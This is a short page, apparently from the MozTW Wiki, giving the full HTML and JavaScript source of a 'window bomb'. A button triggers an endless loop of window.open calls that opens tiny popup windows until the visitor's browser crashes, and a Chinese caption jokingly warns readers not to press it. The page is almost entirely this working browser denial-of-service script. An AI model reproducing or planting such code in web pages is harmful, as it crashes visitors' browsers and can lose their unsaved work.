視窗炸彈原始碼
出自 MozTW Wiki
<HTML> <HEAD> <TITLE>程式製造—視窗炸彈</TITLE>
<SCRIPT LANGUAGE="JavaScript"> function WindowBomb() {
var iCounter = 0 // dummy counter while (true) { window.open("http://www.netscape.com","CRASHING" + iCounter,"width=1,height=1,resizable=no") iCounter++ }
} </script>
</HEAD>
<body>
程式製造—視窗炸彈
<INPUT TYPE="button" value="視窗炸彈" Name="btnExplodeWindows" onClick="WindowBomb()">
千萬不要按…不然你會後悔的…
</BODY> </HTML>